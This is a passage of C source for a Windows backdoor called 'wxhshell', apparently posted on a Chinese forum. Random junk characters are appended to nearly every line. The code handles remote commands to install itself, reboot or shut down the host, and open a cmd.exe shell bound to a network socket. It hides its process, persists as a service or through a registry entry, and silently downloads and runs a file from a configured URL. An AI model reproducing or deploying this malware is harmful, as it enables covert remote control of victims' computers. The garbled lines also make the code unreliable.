    switch(cmd[0]) { UrhSX!g/A>  
  pZA0Go2!IN  
  // 帮助 =u,8(:R]s  
  case '?': { }.$5'VGO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s<;kTReA  
    break; MNzWTn@  
  } <dAD-2O+  
  // 安装 A@I( &Z  
  case 'i': { C2/B1ba  
    if(Install()) }vGW lNd#g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %=t8   
    else 4#c-?mh_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1p%75VW  
    break; Vr1yj  
    }  zG0191f  
  // 卸载 VBe.&b8  
  case 'r': { xD|CQo}:  
    if(Uninstall()) N)tqjq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Jwx|  
    else >I^_kBa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =SEgv;#KZ~  
    break; mO1r~-~AJ  
    } dRXEF6G  
  // 显示 wxhshell 所在路径 FWJhi$\:D]  
  case 'p': { .dvOUt I[  
    char svExeFile[MAX_PATH]; +uD4$Wt_F  
    strcpy(svExeFile,"\n\r"); p+pBk$4  
      strcat(svExeFile,ExeFile); BIM!4MHLA  
        send(wsh,svExeFile,strlen(svExeFile),0); zQNkjQ{mx  
    break; "{igrl8  
    } \dzHG/e  
  // 重启 =8!FY"c*  
  case 'b': { Munal=wL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3gcDc~~=  
    if(Boot(REBOOT)) 1q Jz;\wU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aGRD`ra  
    else { G7yR&x^  
    closesocket(wsh); m[t4XK  
    ExitThread(0); btV Tt5  
    } nR2pqaKc  
    break; lz-t+LD@ST  
    } {|Pg]#Wi&  
  // 关机 \F }s"#  
  case 'd': { + yF._Ie=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f#mcW L1}  
    if(Boot(SHUTDOWN)) GqT 0SP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jLy3c@Dp  
    else { Y>l92=G  
    closesocket(wsh); z|5Sy.H>  
    ExitThread(0); s?g`ufF.t  
    } 2VgDM6h  
    break; d>f.p"B.gj  
    } 0kp#+&)+  
  // 获取shell >cE@m=[  
  case 's': { .e,(}_[[<  
    CmdShell(wsh); A3#^R%2)W  
    closesocket(wsh); bx5f\)  
    ExitThread(0); 3r[}'ba\  
    break; NPFrn[M$  
  } R;{y]1u  
  // 退出 r-,P  
  case 'x': { "iC*Eoz#.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j18qY4Gw)  
    CloseIt(wsh); \`!M5FJ  
    break; @2>j4Sc  
    } \>%.ktG  
  // 离开 REe<k<>p~  
  case 'q': { >Wbt_%dKy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~$PQ8[=  
    closesocket(wsh); s:fy *6=[Z  
    WSACleanup(); MBO3y&\S4  
    exit(1); '0juZ~>}  
    break; TO|&}sDh  
        } u0M? l  
  } GF3"$?Cw  
  } v p>,}nx4  
g3`:d)|  
  // 提示信息 4.^1D';(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D@]*{WO  
} {r$n $  
  } "0&+ `7  
<A_LZi  
  return; $<~o,e-4  
} oOU?6nq  
_eE hIQ9  
// shell模块句柄 %e71BZo~^s  
int CmdShell(SOCKET sock) YjT7_|`(]  
{ 7a4b,-93  
STARTUPINFO si; z TM1 e  
ZeroMemory(&si,sizeof(si)); b/I_iJ8t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \+STl#3*q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (}|QSf:  
PROCESS_INFORMATION ProcessInfo; ,dG2[<?o  
char cmdline[]="cmd"; %O! ~!'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7E-1 #4  
  return 0; S\F;b{S1  
} e{~3&  
0rjH`H]M  
// 自身启动模式 B}(+\Q$I  
int StartFromService(void) [YsN c  
{ me7?   
typedef struct C XZO  
{ |?tUUT!`t  
  DWORD ExitStatus; 6^Q Bol  
  DWORD PebBaseAddress; ks=l Nz9  
  DWORD AffinityMask; vuOixAkw  
  DWORD BasePriority; SR4cR)Iz  
  ULONG UniqueProcessId; rTgCmr'&  
  ULONG InheritedFromUniqueProcessId; ^D{!!)O  
}   PROCESS_BASIC_INFORMATION; CfSpwkg  
)sh+cfTCb  
PROCNTQSIP NtQueryInformationProcess; JIGoF  
RO]Vn]qb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \R6D'Yt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8w:A""  
R43yr+p  
  HANDLE             hProcess; ^hpdre"  
  PROCESS_BASIC_INFORMATION pbi; aQzu[N  
i"#36CVT~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *gJ:irah  
  if(NULL == hInst ) return 0; # -0}r  
0&YW#L|J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^Ia:e ?)W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3Pj 6(cf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A`NkgVq5:  
:z^VI M  
  if (!NtQueryInformationProcess) return 0; rfl-(_3  
@-7h}2P Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )YB @6TiD  
  if(!hProcess) return 0; LFi8@  
c%5G3j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :#?Z)oQpT  
E*uz|w3S)Y  
  CloseHandle(hProcess); E&}@P0^  
DvBL #iC   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y rSTU-5u  
if(hProcess==NULL) return 0; Q :<&<i=I  
^UB<U#8,  
HMODULE hMod; ': }  
char procName[255]; xXCSaBS~  
unsigned long cbNeeded; g3} K  
?l6NQ;z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^9{mjy0Q  
^F>C|FJ2  
  CloseHandle(hProcess); HI` q!LPv  
3rF=u:r7c  
if(strstr(procName,"services")) return 1; // 以服务启动 ifA)Ppt<`  
8BL ]]gT-I  
  return 0; // 注册表启动 *gq~~(jH  
} 9K9{$jN~  
*0K@^Db-  
// 主模块 QO0#p1fom'  
int StartWxhshell(LPSTR lpCmdLine) q&j4PR{  
{ <vMdfw"(  
  SOCKET wsl; }.nHT0l  
BOOL val=TRUE; IQ${2Dpg[  
  int port=0; Znv3h  
  struct sockaddr_in door; j~|pSu.<  
|KV|x ^fJ  
  if(wscfg.ws_autoins) Install(); o@&Hc bN^  
5#DtaVz  
port=atoi(lpCmdLine); w?r   
D4@'C4kL  
if(port<=0) port=wscfg.ws_port; ~^&]8~m*d  
jp~C''Sj  
  WSADATA data; ^7q qO%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #- l1(m  
+@U}gk;#c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    rq[+p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n<}t\<LG^c  
  door.sin_family = AF_INET; 1Qc>A8SU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2|LgUA?<  
  door.sin_port = htons(port); Ewfzjc  
j9V*f HK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kw%vO6"q(  
closesocket(wsl); N8]DW_bsB  
return 1; ?)8OC(B8q  
} yX-h|Cr"  
s+EJXox w  
  if(listen(wsl,2) == INVALID_SOCKET) { -<Wv7FNpD  
closesocket(wsl); Y-0o>:SM  
return 1; ]vFtByqn  
} Sk ~( t  
  Wxhshell(wsl); 0Gq}x;8H&  
  WSACleanup(); 'b?Px}  
(M>[D!Yt  
return 0; i`FskEoijq  
4Ou|4WjnL  
} 'Ti7}K  
jjT|@\-u  
// 以NT服务方式启动 pb\W7G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >=T\=y  
{ &Z.zem?n  
DWORD   status = 0; l8$7N=Y  
  DWORD   specificError = 0xfffffff; f  _ O  
*0*1.>Vg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CDNh9`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "_g3{[es!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zKnHo:SV  
  serviceStatus.dwWin32ExitCode     = 0; %, U@ D4w  
  serviceStatus.dwServiceSpecificExitCode = 0; 55mDLiA  
  serviceStatus.dwCheckPoint       = 0; l"C)Ia&/  
  serviceStatus.dwWaitHint       = 0; m(B,a,g<  
*/T.]^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L\CufAN  
  if (hServiceStatusHandle==0) return; /^m3?q[a  
[K*>W[n  
status = GetLastError(); `4@_Y<  
  if (status!=NO_ERROR) i*T>, z  
{ `8.Oc;*zu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2[O\"a%  
    serviceStatus.dwCheckPoint       = 0; g9rsw7  
    serviceStatus.dwWaitHint       = 0; Po~u-5  
    serviceStatus.dwWin32ExitCode     = status; RPXkf71iM  
    serviceStatus.dwServiceSpecificExitCode = specificError; q h+c}"4m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gz,x6mnQ  
    return; ~> xVhd  
  } =:4vRq [  
jkN-(v(T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +Kw&XRA d  
  serviceStatus.dwCheckPoint       = 0; 5S;|U&f|  
  serviceStatus.dwWaitHint       = 0; )\!-n]+A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JfrPK/Vn  
} zv Dg1p  
!9n!:"(r  
// 处理NT服务事件,比如:启动、停止 N ?RJuDW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]+OHxCj:  
{ hj8S".A_  
switch(fdwControl) #fuc`X3:HL  
{ >z,SN  
case SERVICE_CONTROL_STOP: 6F@2:]W  
  serviceStatus.dwWin32ExitCode = 0; pejG%pJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m^9[k,;K  
  serviceStatus.dwCheckPoint   = 0; [pc6!qhDG&  
  serviceStatus.dwWaitHint     = 0; W@T_-pTCjK  
  { ThvVLK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e%B;8)7  
  } ~&UfnO  
  return; 9rCvnP=  
case SERVICE_CONTROL_PAUSE: ITq$8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _6"YWR  
  break; -f4>4@y  
case SERVICE_CONTROL_CONTINUE: UTThl2=+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `akbzHOM  
  break; " iKX-VIl  
case SERVICE_CONTROL_INTERROGATE: TqZ&X| G  
  break; DaK2P;WP  
}; jgkJF[t`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Q6.r.3@x  
} cc$L56q  
W,g0n=2V  
// 标准应用程序主函数 #Fl5]> |  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *1>zE>nlP  
{ Bl >)GX\l  
NY& |:F  
// 获取操作系统版本 =s\RK   
OsIsNt=GetOsVer(); :J'ibb1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,)CRozC\}K  
5W(S~}  
  // 从命令行安装 ToNRY<!  
  if(strpbrk(lpCmdLine,"iI")) Install(); h|DKD.  
RyJN=;5p  
  // 下载执行文件 PN +<C7/  
if(wscfg.ws_downexe) { fV\ eksBF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L, k\`9bQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); gOE3x^X*{  
} qXb{A*J  
ckZZ)lW`*  
if(!OsIsNt) { r2Wx31j{  
// 如果时win9x,隐藏进程并且设置为注册表启动 pFUW7jE  
HideProc(); mHnHB.OL  
StartWxhshell(lpCmdLine); dWCUZ,6}  
} )(Z)yz  
else 6z(eW]p  
  if(StartFromService()) XQH wu  
  // 以服务方式启动 #fb <\!iza  
  StartServiceCtrlDispatcher(DispatchTable); 5GwXZ;(G  
else N?7vcN+-t)  
  // 普通方式启动 X53TFRxnT  
  StartWxhshell(lpCmdLine); $_5@ NOZ,M  
Qxvj`Ge  
return 0; ] VN4;R  
}
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只看该作者 1 发表于: 2006-10-10
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